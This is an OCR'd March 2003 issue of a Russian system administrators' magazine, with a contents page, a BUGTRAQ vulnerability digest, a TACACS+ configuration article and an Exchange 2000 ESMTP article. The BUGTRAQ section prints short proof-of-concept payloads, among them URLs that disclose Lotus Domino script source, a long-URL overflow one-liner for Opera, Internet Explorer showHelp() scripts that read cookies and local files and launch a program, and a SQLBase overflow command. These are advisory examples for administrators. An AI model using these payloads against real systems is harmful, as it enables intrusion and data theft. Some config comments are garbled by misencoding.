004 Системный Администратор 03 2003

№3(4) март 2003 журнал для cистемных администраторов, вебмастеров и программистов

Разработчики поисковых систем отвечают на вопросы читателей Перехват системных вызовов в ОС Linux TACACS Установка FreeBSD ЛВС: управляемость и надежность

оглавление

Некоторые недокументированные функции Java

АДМИНИСТРИРОВАНИЕ TACACS Основные принципы настройки сервера и клиента. Всеволод Стахов CEBKA@smtp.ru

Как выключить ESMTP-команды в Exchange 2000 Server Татьяна Антипова antipova@samag.ru

Установка FreeBSD

4

Итоги акции «Задай свой вопрос разработчикам поисковых систем», 10 проводимой совместно с Всероссийским Клубом Веб-разработчиков

Шаг за шагом: подготовка жесткого диска, выбор пакетов, инсталляция, послеинсталляционное конфигурирование системы. Сергей Яремчук 12 grinder@ua.fm

22

Абсолютно все о Frame Relay Что стало главным фактором высокой востребованности данной технологии? Сергей Ропчан 26 fenix@sit-ua.com

ПРОГРАММИРОВАНИЕ Можно ли защитить веб-страницы от анализа исходного кода? Как помешать программисту-профессионалу, располагающему богатым арсеналом – отладчиком, собственной версией браузера с исходными текстами, виртуальной машиной – проанализировать исходный HTML-код веб-страницы. Даниил Алиевский 32 daniel@siams.com

Перехват системных вызовов в ОС Linux Вопросы защиты информационных систем, построенных на базе операционной системы Linux, по-прежнему актуальны. Предлагаем вам рассмотреть механизм защиты, основанный на перехвате системных вызовов в ОС Linux. Владимир Мешков 40 ubob@mail.ru

№3(4), март 2003

Ведущие разработчики поисковых систем - Яндекса, Рамблера, Апорта и Мета-Украины - отвечают на вопросы читателей.

50 info@samag.ru

HARDWARE Основы систем хранения данных

IPSec через NAT: проблемы и решения Татьяна Антипова antipova@samag.ru

Неужели в среде Java существуют задачи, которые не решаются с помощью стандартных библиотек и для решения которых имеет смысл прибегать к недокументированным функциям? Даниил Алиевский 46 daniel@siams.com

Оттолкнувшись от незыблемых законов физики и логики, постараемся приблизиться к наиболее полному пониманию дисковых систем. Алексей Серебряков 62 val@var.ru

ОБРАЗОВАНИЕ ЛВС: управляемость, надежность, масштабируемость Как создать локальную вычислительную сеть, отвечающую современным требованиям производительности и надежности? Денис Еланский 78 grosm@samag.ru

IMHO Почему OpenSourse? (Точка зрения разработчика) Размышлениями, результатами и опытом, приобретенным в ходе попытки использования свободного ПО, делятся разработчики АСУТП в аэрокосмической области. Владимир Попов 90 Popov_inm@yahoo.com

BUGTRAQ FAQ Python

4, 25, 45, 89 95

1

BUGTRAQ Раскрытие исходного кода сценариев в веб-сервере Lotus Domino Уязвимость раскрытия файла обнаружена в веб-сервере Lotus Domino. Удаленный пользователь может создать специальный запрос, который раскроит содержание некоторых типов файлов. Сообщается, что удаленный пользователь может добавить точку к концу некоторых типов файлов Lotus, устанавливаемых не по умолчанию (т.е. отличных от .NSF, .NTF и т. п.), чтобы получить этот файл. Уязвимость может использоваться для просмотра исходного кода сценариев на сервере и включаемых файлов. Пример: http://[target]/reports/secretreport.csp. http://[target]/cgi-bin/myscript.pl . http://[target]/cgi-bin/runme.exe%20. http://[target]/reports/secretreport.csp%20%2E

Уязвимость обнаружена в Lotus Domino Web Server 5, 6.

Переполнение буфера в Opera Переполнение буфера обнаружено в веб-браузере Opera. Удаленный пользователь может сконструировать URL, который заставить браузер выполнить произвольный код при загрузке этого URL. Сообщается, что переполнение происходит при загрузке URL с чрезмерно длинным именем пользователя. Злонамеренный URL может быть передан через ссылку, изображение, фрейм, сценарий и другие методы. Пример:

Подробности уязвимости в showhelp в IE Ранее мы сообщали о выходе патча к IE, устраняющем уязвимость в методе showHelp(). Сообщается, что ограничения безопасности не работают, когда showHelp вызывается с аргументом File. Как уже говорилось, в результате атакующий может выполнять произвольный код на уязвимой системе. Вот несколько примеров. Чтение куки: showHelp("file:");showHelp("http://www.google.com/"); showHelp("javascript:alert(document.cookie)");

Чтение файла с:\text.txt: showHelp("file:");showHelp("res://shdoclc.dll/ about.dlg"); showHelp("javascript:try{c=new ActiveXObject('Msxml2.XMLHTTP')}\ catch(e){c=new ActiveXObject('Microsoft.XMLHTTP')};c.open('GET',\ 'file://c:/ test.txt',false);c.send(null);alert(c.responseText)");

Еще один способ чтения файла с:\text.txt: showHelp("file:");showHelp("file://c:/test.txt"); showHelp("javascript:alert(document.body.innerText)");

Запуск Winmine: showHelp("file:");showHelp("iexplore.chm");showHelp("res:"); showHelp("javascript:location='mk:@MSITStore:C:'"); showHelp("javascript:document.write('<object id=c classid=\ clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\\u003E<param na\ me=Command value=ShortCut\\u003E\<param name=Item1 value=,\ winmine,\\u003E</object\\u003E');c.Click();");

$ perl -e "exec('opera.exe', 'http://'. 'A' x 2624 .'@/')"

Переполнение буфера в SQLBase Уязвимость обнаружена в Opera 6.05 build 1140, 7 beta2 build 2577.

Cisco IOS может принимать поддельные ICMP Redirect-пакеты и перенаправлять их неправильному адресату Уязвимость обнаружена в операционной системе Cisco IOS. В некоторых конфигурациях маршрутизатор может принимать поддельные ICMP Redirect-пакеты.

Cisco выпустил Field Notice (23074), в котором предупреждается, что если заблокирована IP-маршрутизация, маршрутизатор примет поддельный ICMP Redirect-пакет и изменит соответствующую таблицу маршрутизации. Согласно сообщению, IP-маршрутизация включена по умолчанию, так что заданные по умолчанию конфигурации неуязвимы к обнаруженной проблеме. Уязвимость может использоваться для DoS-нападений или перенаправления пакетов к другому местоположению. Уязвимость обнаружена в Cisco IOS 12.2 и более ранних версиях.

Недостаток в Red Hat kernel-utils пакете Уязвимость конфигурации обнаружена в Red Hat kernelutils пакете. Локальный пользователь может выполнять привилегированные сетевые операции. Локальный пользователь может управлять некоторыми сетевыми интерфейсами, добавлять и удалять arp-входы и маршруты и помещать интерфейсы в разнородный («promiscuous») режим. Уязвимость обнаружена в Red Hat Linux 8.0.

2

SQLBase 8.1.0 – система управления реляционной базой данных (RDBMS). Разработчик сообщает, что системой пользуются более 1000000 человек во всем мире. Команда EXECUTE выполняет сохраненную команду или процедуру. Синтаксис этой команды: EXECUTE [auth ID].stored_command_or_procedure_name

Передавая чрезмерно большое имя команды/процедуры (более 700 байт) в качестве параметра, работа SQLBase аварийно завершится с возможностью выполнения произвольного кода с привилегиями GuptaSQL Service (Local System). Пример: EXECUTE SYSADM.AAAAAAAAAAA...(700 times)

Недостаток в механизме кодирования в WinZIP Недостаток в обнаружен в PKZIP механизме шифрования. Уязвимость позволяет нападать непосредственно на механизм шифрования, используя инженерный анализ (reversing enginiering) в WinZIP IBDL32.dll. Уязвимость связана с использованием слабого генератора случайных чисел. Как утверждает автор, можно расшифровать весь архив, зная небольшой фрагмент известного текста (36 байт). Сообщается, что файл, зашифрованный 19-символьным паролем, на PIII-500 удалось расшифровать менее чем за 2 часа.

TACACS

В данной статье описываются основные принципы настройки сервера и клиента (терминального сервера фирмы Cisco или иной компании) TACACS+. TACACS имеет очень широкое применение, так как может обеспечивать работу всех клиентов с единым сервером авторизации, который также позволяет настраивать привилегии различных пользователей в широких пределах, например: давать определённым пользователям доступ только к определённым командам, давать определённым лицам пользоваться различными сервисами только с заданных адресов, организовывать группы пользователей, вести лог-файл доступа пользователей (это особенно важно для маршрутизаторов Cisco, так как позволяет определить, кто и сколько пользовался определёнными сетевыми службами: ppp, slip и т. д.), выполнять для пользователей определённые команды Unix.

ВСЕВОЛОД СТАХОВ

администрирование Но прежде чем начинать разговор о настройке TACACS, я бы хотел определиться с терминологией: TACACS (terminal access controller access control system) – собственно, система управления авторизацией и аутентификацией.

NAS (network access server) – клиент tacacs, киска. Киской в данной статье я буду называть терминальный сервер (интеллектуальный коммутатор или маршрутизатор) фирмы Cisco. Хотя в принципе с протоколом TACACS+ могут работать маршрутизаторы и других фирм.

AV (attribute=value) – пары атрибут=значение, которые передаются между клиентом и сервером tacacs. Теперь необходимо скачать сам сервер для *nix. Обитает он здесь: ftp://ftpeng.cisco.com/pub/tacacs (сервер ftp очень кривой, по нему особо не пороешься: не видно каталогов), к сожалению, только альфа-версия, но, похоже, из состояния альфа он не выберется никогда, т.к. сама Cisco его не поддерживает (что весьма странно) и отказывается от «любой ответственности». «Альфанутость» tacacs_plus-сервера мне довелось прочувствовать на собственной шкуре: пришлось его маленько доработать, для того чтобы он начал выполнять свои функции. Итак, вначале правим Makefile: по умолчанию раскомментированы настройки для Solaris. # For Solaris (SUNOS 5.3, 5.4, 5.5, 5.6) uncomment the # following two lines OS=-DSOLARIS OSLIBS=-lsocket -lnsl

Выбираем нужную ОС и раскомментируем нужные строчки: # For LINUX OS=-DLINUX # # On REDHAT 5.0 systems, or systems that use the new glibc, # you might instead need the following: OS=-DLINUX -DGLIBC OSLIBS=-lcrypt

Добавляем пользователя и группу для сервера, пишем в Makefile UID и GID (по умолчанию эти строки закомментированы, запуск идёт от рута, что не есть хорошо, особенно для альфа-версии): USERID GROUPID FLAGS

= 1500 = 25 = -DTAC_PLUS_USERID=$(USERID) -DTAC_PLUS_GROUPID=$(GROUPID)

Указываем pid-файл: # On startup, tac_plus creates the file /etc/tac_plus.pid # (if possible), containing its process id. Uncomment and # modify the following line to change this filename PIDFILE = -DTAC_PLUS_PIDFILE=\"/var/run/tac_plus.pid\"

При компиляции у меня возникли ещё две небольшие проблемы: все сырцы были записаны в формате DOS, поэтому пришлось вначале написать простенький скрипт:

№3(4), март 2003

#!/bin/sh for i in * do tr -d "\r" < $i > .tmp mv -f .tmp $i rm -f .tmp done

возникли некоторые проблемы с описанием syserrorlist, которые, впрочем, решаются просто удалением соответствующих строчек. Решив эти проблемы, я спокойно скомпилировал tacacs+ в NetBSD 1.5.2 компилятором egcc 1.1.2. Под Linux&gcc 2.96 также всё прошло нормально, поэтому я не вижу причин, чтобы на других машинах возникали ошибки компиляции (если возникли, то прежде всего проверьте Makefile). Естественно, что после компиляции необходимо запустить и настроить сервер. Запускается он так: tac_plus * -C èìÿ êîíôèãóðàöèîííîãî ôàéëà (îáÿçàòåëüíûé ïàðàìåòð) * -t íå èñïîëüçîâàòü log-ôàéë, à ïèñàòü â stderr * -P ïðîâåðêà ñèíòàêñèñà êîíôèãóðàöèîííîãî ôàéëà * -g ðåæèì îòëàäêè, íå ïðîèñõîäèò ñîçäàíèÿ äî÷åðíèõ ïðîöåññîâ * -p port_number çàäàíèå íîìåðà ïîðòà (ïî óìîë÷àíèþ tacacs+ èñïîëüçóåò 49) * -d óðîâåíü âûâîäà îòëàäî÷íûõ ñîîáùåíèé â /var/tmp/tac_plus.log * -v âûâåñòè âåðñèþ è âûéòè * -L (ïîëó÷àòü èìåíà ïî DNS) * -l ôàéë äëÿ âåäåíèÿ ëîãà * -w ôàéë äëÿ çàïèñè æóðíàëà äîñòóïà (ïðè âêëþ÷åííîé îïöèè maxsess, ïî óìîë÷àíèþ – /var/tmp/tac.who_log) * -i çàïóñê ÷åðåç inetd Ïðèìåð: tac_plus -C /etc/tacacs.config

После пробного запуска заносим нужные строчки в системные rc-файлы (хотя я бы посоветовал для начала использовать режим inetd). Но без конфигурационного файла сервер не работает, поэтому настало самое время описать его синтаксис. Все значения записываются в формате атрибут=значение (AVпары), если прописываются дополнительные параметры атрибутов, то они заключаются в фигурные скобки {}, символы # считаются началом однострочного комментария. Принцип построения конфигурационного файла таков: вначале задаётся ключ симметрического шифрования, осуществляемого между киской и tacacs-сервером. Этот ключ имеет аналогичное паролю значение (берётся его md5-хеш), поэтому он может содержать нормальные символы (символ " употреблять нельзя, т.к. это приведёт к ошибке работы шифрации, а экранировать его нет возможности). После определения ключа описываются группы, в которых можно определить общие права и параметры доступа всех пользователей в группе. Также обычно определяют пользователей, входящих в определённые группы (пользователь может принадлежать только одной группе). Для указания того, что пользователь или группа входят в определённую группу, в их описании необходимо использовать member=group_name. Приведу всё это на примере: # Êëþ÷ äëÿ øèôðîâàíèÿ key = a very secret password group users{ # Çàäàíèå ïàðîëÿ äëÿ âñåõ ïîëüçîâàòåëåé ãðóïïû

5

администрирование #ïîëüçîâàòåëåé â îòêðûòîì âèäå. Ìîæíî èñïîëüçîâàòü # DES-øèôðîâàíèå, íàïðèìåð: login = DES F5qT7Ha7AflP0 # èëè óêàçàòü ôàéë â ôîðìàòå passwd: # login = file /etc/tacacs_passwd, íî ó÷òèòå, ÷òî ïîêà # tac_plus íå ðàáîòàåò ñ md5-ïàðîëÿìè, òàê ÷òî â ýòîì # ôàéëå âñå ïàðîëè äîëæíû áûòü çàøèôðîâàíû ìåòîäîì DES login = cleartext users_password } user user1{ # Ïîëüçîâàòåëü ïðèíàäëåæèò ãðóïïå è íàñëåäóåò âñå ïàðà# ìåòðû èç îïðåäåëåíèÿ ãðóïïû, âêëþ÷àÿ ïàðîëü member = users } user power_user{ # Ïåðåîïðåäåëåíèå àòðèáóòà ãðóïïû login = des F5qT7Ha7AflP0 member = users } user lamer{ # À ýòîò, âèäèìî, è ïàðîëü ââåñòè ñàì íå ìîæåò :) login = nopassword member = users }

Важное замечание: если пароль указывается из файла (file path_to_file), то необходимо преобразовать стандартный файл формата passwd в формат tacacs (tacacs считает номер группы номером списка прав доступа acl). Для этого используется поставляемая утилита convert.pl -g <passwdfile>. Группы tacacs могут являться членами других групп, наследуя все атрибуты контейнера. Учтите, что файл конфигурации tacacs содержит некоторые пароли в незашифрованном виде, поэтому надо обязательно выполнить правильный chmod 0400 для пользователя, под которым работает tacacs. Кроме этого, для аутентификации можно использовать несколько дополнительных весьма полезных параметров: expires = «Month_short DD YYYY» – конец работы данной учётной записи. Пользователь получает предупреждение за 14 дней до cрока, например: expires = «JAN 12 2003» (регистр не имеет значения, не забудьте про кавычки); arap = cleartext arap_pass – пароль для arap; chap = cleartext chap_pass – пароль для chap-соединений (нельзя использовать шифрование); ms-chap = cleartext ms-chap_pass – пароль для ms-chap (если tacacs был собран с поддержкой этого протокола), если не был «получен ms-chap ключ от Microsoft», то работать можно только с cleartext-паролями; pap = cleartext pap_pass – пароль для входящих papсоединений, его можно шифровать DESom; opap = cleartext opap_pass – пароль для исходящих papсоединений (работает аналогично предыдущему). В Cisco IOS также предусмотрен ряд специальных пользователей, соответствующих уровням доступа к системе (enable), их имена выглядят следующим образом: $enab<n>$, где <n> – требуемый уровень доступа к системе (имеется также пользователь $enable$ для старых версий IOS). Приведу простой пример всему вышесказанному (комментарии, думаю, будут излишни): user admin{ login = des FgZq2fY7ZKP0l pap = des FgZq2fY7ZKP0l opap = des FgZq2fY7ZKP0l expires = "JAN 01 2010" } user user1{ login = cleartext user_pass pap = pap_user_pass expires = "JAN 01 2003"

6

} user $enab15${ login = des Y7jk9zAd5F7Ix } user $enab1${ login = cleartext level1secret }

Сродни процессу ау тентификации на сервере tac_plus, можно управлять процессом авторизации, т.е. предоставления пользователям определённых прав и запретов на использование команд или протоколов. Для определения прав авторизации используются регулярные выражения стиля grep (точнее, egerp, что позволяет использовать логические операции) и ключевые слова permit (разрешить) и deny (запретить). По умолчанию всё, что не разрешено, – запрещено. Это можно изменить, указав разрешения по умолчанию: default authorization = permit – на глобальном уровне, разрешить все по умолчанию; default service = permit – на уровне пользователя, разрешить все по умолчанию для данного пользователя; default attribute = permit – на уровне описания сервиса, разрешить всё по умолчанию. В процессе авторизации ключевыми являются три понятия: сервис (например, сервисы exec, slip, ppp, arap, shell, tty-daemon, connection, system), команда (например, telnet) и протокол. Приведу пример с комментариями: user=admin { login = des 3EdghJk8acVB6 member = administrators # Ðàçðåøàåì âñ¸ íà óðîâíå ïîëüçîâàòåëÿ default service = permit # Îïèñàíèå ñåðâèñà âûïîëíåíèÿ êîìàíä exec service = exec { # Óñòàíàâëèâàåì ñïèñîê ïðàâ äîñòóïà äëÿ äàííîãî # ïîëüçîâàòåëÿ acl = 4 # Âûïîëíÿåì êîìàíäó ïðè àâòîðèçàöèè(àâòîêîìàíäà) autocmd = "telnet 192.168.1.2" } cmd = telnet { # Ðàçðåøàåì âñå telnet-ñîåäèíåíèÿ, êðîìå àäðåñà # 131.108.13.* deny 131\.108\.13\.[0-9]+ permit .* } } user=alex { login = des 6EX027bHtSTlz name = "Alex" member = administrators expires = "May 23 2005" arap = cleartext "arap secret" chap = cleartext "chap secret" service = exec { # Óðîâåíü ïðèâèëåãèé ïî óìîë÷àíèþ acl = 5 # Àâòîïèíã autocmd = "ping 192.168.1.2" } }

В качестве команд могут использоваться любые команды IOS обычного режима (т.е. до enable). Список параметров, которые могут использоваться внутри определений авторизации, весьма широк: acl – список прав доступа (только при service=shell или service=exec); addr – сетевой адрес для service=ppp и protocol=ip;

администрирование autocmd – только при service=shell или service=exec – ав

томатическое выполнение определённой команды IOS; callback-dialstring – номер телефона для service=ppp или shell; callback-line – номер линии; dns-server – IP-адреса серверов DNS через пробел, передаваемых клиентам PPP (service=ppp, protocol=ip); idletime (11.1) – время в минутах до завершения неактивной сессии (не применимо к PPP); inacl<n> – определяется входной уровень доступа и применяется к интерфейсу на время сеанса (service=ppp, protocol=ip); interface-config – значением является любая команда конфигурации интерфейса; ip-addresses – возможные значения IP-адресов для конца туннеля (service=ppp and protocol=vpdn); link-compression – использовать ли алгоритм сжатия STAC: 0 – нет 1 – Stac 2 – Stac-Draft-9 3 – MS-Stac.

load-threshold – порог нагрузки (от 1 до 255), после ко

торого добавляются/удаляются дополнительные линки в multilink bundle (service=ppp and protocol=multilink); max-links – максимальное число линков, которые пользователь может иметь в multilink bundle (service=ppp and protocol=multilink); nas-password – пароль для NAS при аутентификации для L2F туннеля (service=ppp and protocol=vpdn); nocallback-verify – (всегда = 1), означает, что не требуется верификации при callback (service=arap, service=slip, service=ppp, service=shell); noescape – (true или false), запретить использовать символ прерывания ввода (service=shell); nohangup – (true или false), запретить отключение пользователя по завершению сеанса EXEC (service=shell); outacl<n> – определяется уровень доступа для исходящего соединения и применяется к интерфейсу на время сеанса (service=ppp, protocol=ip); pool-def<n> – определить пул IP-адресов; pool-timeout – время на проверку существования указанного адресного пула на NAS; ppp-vj-slot-compression – указание маршрутизатору не использовать сжатие слотов при посылке VJ-сжатых пакетов; priv-lvl – уровень привилегий, назначаемый процессу EXEC (0-15, 15 – наивысший); protocol – подмножество сервиса (в основном для ppp): lcp ip ipx atalk vines lat xremote tn3270 telnet rlogin pad vpdn deccp osicp ccp (compression control protocol) bridging cdp (cisco discovery protocol) xns

№3(4), март 2003

nbf multilink

bap unknown

route – определяет статический маршрут, применяе-

мый к интерфейсу (service=ppp, protocol=ip). Указывается в виде адреса назначения, маски подсети и (возможно) шлюза. Если шлюз опущен, то через соседа (peer). По завершению сеанса маршрут удаляется. route<n> – аналогично route, но позволяет нумеровать маршруты и, стало быть, иметь их много; routing – (true или false) обрабатывать ли информацию о маршрутизации; source-ip – задает исходный IP-адрес VPDN-пакетов (эквивалент команды: vpdn outgoing); timeout – максимальное время сессии в минутах (начиная с 11.3.8, работает и для service=ppp protocol=lcp, но выражается в секундах); tunnel-id – идентификатор туннеля vpdn (service=ppp and protocol=vpdn); wins-servers – IP-адреса серверов WINS (NetBIOS Name Service) через пробел, передаваемых клиентам MS PPP (service=ppp, protocol=ip).

Здесь, думаю, какие-либо комментарии будут излишни, поэтому я перейду к описанию скриптов авторизации.

Tacacs может выполнять некоторые скрипты shell до или после авторизации пользователя, для этого используются директивы before authorization «/path/script paramlist» и after authorization «...» соответственно (обратите внимание на наличие кавычек и отсутствие знака «=»). Скриптам инициализации могут быть переданы любые параметры командной строки, но некоторые из них имеют специальное назначение: $user – имя пользователя; $name – имя клиента(NAS); $port – порт клиента; $address – адрес клиента; $priv – уровень привилегий(0 – 15); $method – каким способом была пройдена аутентификация: 1 – none 2 – KRB5 (kerberos, version 5) 3 – line (пароль, привязанный к линии) 4 – enable (команда изменения привилегий) 5 – local (в соответствии с локальной БД NAS) 6 – tacacs+ 8 – guest (например, guest в ARAP) 16 – RADIUS 17 – KRB4 (kerberos, version 4)

$type – тип соединения:

1 – ASCII 2 – PAP 3 – CHAP 4 – ARAP 5 – MS CHAP $service – номер сервиса: 1 – login 2 – enable

7

администрирование 3 – ppp 4 – arap 5 – pt 6 – rcmd 7 – X25 8 – NASI 9 – FWPROXY

$status – строка статуса работы соединения: pass – успешное прохождение авторизации fail – провал соединения error – ошибка работы unknown – неизвестная ошибка. Указанный скрипт выполняется /bin/sh -c и должен быть составлен соответствующим образом. При создании подобных скриптов учтите, что они будут выполняться много раз для каждого пользователя, например, прохождение авторизации ppp, ip и так далее. Скрипт авторизации может сообщать о статусе работы через код завершения: 0 – всё нормально, авторизация разрешена; 1 – произошла ошибка, авторизация запрещена; 2 – авторизация разрешена, но на stdout скрипт кидает AV-пары, которые используются для дальнейшей авторизации (в обход настройкам tacacs), причём если в выводе содержатся пробелы, их необходимо экранировать кавычками; 3 – аналогично предыдущему, но авторизация запрещена. Авторизационные скрипты – довольно полезная вещь: я, например, сделал скрипт, работающий с MySQL и исследующий пользователей, которые могут заходить на определённый свитч. Скрипты выполняются под тем же пользователем, что и tacacs-сервер, поэтому запускать его от рута не рекомендуется (см. настройки Makefile). Приведу простой пример конфигурации сервера с использованием скриптов: group users{ # Ïóòü ê ñêðèïòó, âûïîëíÿþùåìóñÿ äî àâòîðèçàöèè íà # ñåðâåðå before authorization "/usr/libexec/tacacs/users_auth\ $user $name $address" # Ðàçðåøàåì ñåðâèñû ïî óìîë÷àíèþ default service = permit service = exec { # Âûïîëíÿåì àâòîïèíã autocmd = "ping 192.168.2.1" } }

Последняя вещь, о которой я хотел бы рассказать для настройки сервера tacacs, – установка учёта работы (accounting). Для начала работы системы учёта достаточно добавить строку accounting file = «path_to_file» на глобальном уровне: accounting file = "/var/log/tacacs/accounting"

Формат данного файла различается от версии к версии, поэтому я не буду на этом останавливаться подробно (думаю, понять, что к чему, будет нетрудно). Со-

8

стоит файл учёта из 5 полей (поля разделяются символами табуляции): времени, имени NAS, имени пользователя, ключевого слова assync, признак начала или окончания сессии – start и stop соответственно (особенно интересна для учёта директива stop, на основании которой можно выполнять учёт и контроль ошибок, иногда, в случае ошибки авторизации или аутентификации, директива stop может не иметь пары start) и дополнительных AV-строк (для оценки PPP-трафика интересны пары service=PPP elapsed_time={время в секундах}, а также bytes_in= и bytes_out=). Теперь позвольте перейти к описанию настройки киски. Для начала сразу же хочу предупредить, что к этому моменту необходимо иметь нормально работающий tacacs-сервер, иначе может случиться так, что вы не сможете зайти на киску (при настройке tacacs-сервера учтите тот факт, что по умолчанию всё запрещено, поэтому не забудьте корректно настроить авторизацию). Заходим в CLI-киски в режим EXEC (привилегированный режим): Устанавливаем сервер tacacs+ в name (имя или IP-адрес): # tacacs-server host {name}

Установка тайм-аута поиска сервера (по умолчанию 5 секунд): # tacacs-server timeout {seconds}

Количество попыток логина на сервер: # tacacs-server attempts {count}

Ключ для шифрации трафика должен совпадать со значением на сервере: # tacacs-server key {key}

Смотрим информацию о tacacs: # show tacacs

Далее настраиваем три «а»: аутентификацию, авторизацию и аккаунтинг: # configure terminal

Включаем новую модель aaa: # aaa new-model

Глобальные настройки логина (список методов по степени возрастания, в моём примере вначале ходим на tacacs-сервер, а затем смотрим в локальные пароли): # aaa authentication login default line

Настройка ppp-логина: # aaa authentication ppp default tacacs+

администрирование Выбираем линию для настройки (список линий, могут быть специальные линии или номера стандартных линий маршрутизатора): # line {[aux, console, tty, vty]| line-numbers}

рых параметров ppp). Для этого добавляем в настройки aaa такие строчки: # # # #

aaa int ppp ppp

authentication ppp pppcheck tacacs+ async {number_of_line} authentication {chap | pap} pppcheck callback accept

Список методов логина для линии: # login authentication tacacs+ # exit

Смотрим полученные изменения: # show running-config

Настраиваем аутентификацию:

На сервере есть также дополнительные callback av пары, например: user = foo{ login = cleartext login chap = cleartext xfgb pap = des qQkpO0AMIp7RL opap = cleartext outgoing_pap service = ppp protocol = lcp { # Ñòðîêà äîçâîíà äëÿ ðàñøèðåíèé ppp lcp callback-dialstring=123456 } }

# configure terminal

Авторизация через tacacs всех сетевых служб (SLIP, PPP, NCP, ARA): # aaa authorization network tacacs+

Авторизация через tacacs сервиса exec: # aaa authorization exec tacacs+ # exit

Настраиваем аккаунтинг: # configure terminal

Запускаем аккаунтинг событий начала и конца для сервиса exec и сетевых сервисов: # aaa accounting exec start-stop tacacs+ # aaa accounting network start-stop tacacs+ # exit

Можно также создать обратную связь (callback) между сервером и киской (это полезно для получения некото-

№3(4), март 2003

Но мне callback показался не очень нужным в практическом плане, поэтому подробно о нём говорить я не буду. Подводя итог, скажу, что использование tacacs мне лично показалось весьма удобным и простым (за исключением некоторой нестабильности работы – иногда мрут дочерние процессы, что в принципе нестрашно). За дополнительной информацией о tacacs можете обратиться на следующие сайты: http://www.bog.pp.ru/work/tacacs.html – на мой взгляд, наиболее качественный ресурс по данной теме на русском языке (также здесь вы найдёте уйму полезной информации); http://cisco.opennet.ru – отличная подборка материалов по Cisco; http://ftpeng.cisco.com/pub/tacacs/ – отсюда качаем; http://www.easynet.de/tacacs-faq/ – FAQ на английском языке по tacacs; http://rcp.ru/faq/cisco.html – FAQ на русском языке по маршрутизаторам Cisco; http://stiwww.epfl.ch/tacacs/u_g_F403.html – родная документация на английском языке; http://www.disaster.com/tacplus/ – подписка на список рассылок tacacs.

9

администрирование

КАК ВЫКЛЮЧИТЬ

ESMTP-КОМАНДЫ В EXCHANGE 2000 SERVER ТАТЬЯНА АНТИПОВА

Для совместимости Microsoft Exchange 2000 Server с другими SMTP-почтовыми серверами иногда требуется запретить некоторые Extended Simple Mail Transfer Protocol (ESMTP)-команды, которые разрешены по умолчанию при установке Exchange-сервера. В этой статье описываются различные параметры настройки, которые управляют ESMTP-командами. По умолчанию в Exchange 2000 разрешено использовать следующие команды: 220 server.domain.com Microsoft ESMTP MAIL Service, Version: 5.0.2195.1 ready at Wed, 15 Mar 2000 17:37:07 -0800 ehlo ee.com 220 server.domain.com Microsoft ESMTP MAIL Service [5.0.2195.1]

10

250-TURN 250-ATRN 250-SIZE 2097152 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250-X-EXPS GSSAPI NTLM LOGIN 250-X-EXPS=LOGIN

администрирование 250-AUTH GSSAPI NTLM LOGIN 250-AUTH=LOGIN 250-XEXCH50 250-X-LINK2STATE 250 OK Этими командами можно управлять в метабазе и в Exchange Server event sinks. Если вы запрещаете команды в event sinks, то изменения могут привести к сильному понижению производительности Exchange 2000. Поэтому в этой статье мы рассмотрим ESMTP-команды, которые управляются метабазой. Следующими командами можно управлять в метабазе Exchange-сервера: 250-TURN 250-ATRN 250-ETRN 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING Каждая из этих команд представлена шестнадцатеричным значением. Эти значения входят в единственное число, которое определяет включением и выключением этих команд. Это число (в десятичном формате) хранится в переменной SmtpInboundCommandSupportOptions, которая находится в Lm/Smtpsvc/1LM в метабазе и в sExchSmtpInboundCommandSupportOptions в Active Directory под: CN=1, CN=SMTP, CN=Protocols, CN=SERVER, CN=Servers, CN=First Administrative Group, CN=Administrative Groups, CN=Organization, CN=Microsoft Exchange, CN=Services, СN=Configuration, DC=domain, DC=com. Примите к сведению, что CN=1 – первый или заданный по умолчанию SMTP Virtual Server, CN=SERVER – имя Exchange-cервера, CN=Organization – имя организации, DC=domain – имя Active Directory или DNS-домена.

Обратите внимание, что вышеупомянутое значение метабазы соответствует metabase ID number 36998. Эта

№3(4), март 2003

информация может быть полезна, если вы используете программу MetaEdit. В таблице отображены шестнадцатеричные значения команд. По умолчанию это значение равно 7697601 (0x7574C1H). Когда вы вычтите соответствующее десятичное значение команды из этого числа, вы можете включить или выключить различные ESMTP-команды. Например, если вы хотите отключить поддержку 8bitmime, вы должны присвоить переменной SmtpInboundCommandSupportOptions значение ‘7697601-4194304‘= 3503297(0x3574C1H). Чтобы отключить все ESMTP-команды, перечисленные в таблице, значение должно быть 352257 (0x56001). В более ранних версиях Exchange-сервера это значение можно было изменить, используя инструменты типа CSCRIPT с Adsutil.vbs или MetaEdit. Однако в Exchange 2000 Server значениям в метабазе подчинено значением в Active Directory. Процесс «Microsoft Exchange Metabase Update» (перечисленный как MSExchangeMU в журнале регистрации приложений) запускается каждые 15 минут и сравнивает значения в метабазе со значениями в Active Directory. Если данные отличаются, то значение в метабазе перезаписывается значением в Active Directory. Таким образом, чтобы эти изменения вступили в силу, вы должны изменить значение msExchSmtpInboundCommandSupportOptions в Active Directory, используя или LDP или ADSIEdit. Чтобы изменить это значение, используя ADSIEdit, выполните следующие шаги: Откройте ADSIEdit и подключитесь к контроллеру домена. Откройте Configuration Container. Перейдите в следующее место: Configuration/Services/ Microsoft Exchange/ <Your Organization>/ Administrative Groups/ <Your Administrative Group>/Servers/ <Your Exchange Server>/Protocols/SMTP/ <Your Virtual Server Number>. Щелкните правой кнопкой мыши по виртуальному объекту сервера и затем нажмите Properties. Для Select a property to view: выберите msExchSmtpInboundCommandSupportOptions. В поле Edit Attribute: введите значение, которое вы хотите установить. Щелкните Set, Apply и затем OK. Выйдите из ADSIEdit. Может пройти некоторое время, прежде чем изменения вступят в силу, потому что требуется репликация Active Directory, прежде чем Exchange-сервер увидит измененное нами значение. Даже перезагрузка Internet Information Server (IIS) не поможет более быстрому изменению информации. Обратите внимание: ADSIEDIT.exe – административный инструмент, который поставляется с Windows 2000 Support Tools, доступный на инсталляционном диске Windows 2000 в \Support\Tools каталоге. Обратите внимание: если вы отключаете ESMTP-команды на Exchange 2000 сервере, это может затруднить подключение к другим Exchange 2000 серверам. Изменения могут затронуть нормальный почтовый поток между серверами.

11

УСТАНОВКА FREEBSD СЕРГЕЙ ЯРЕМЧУК

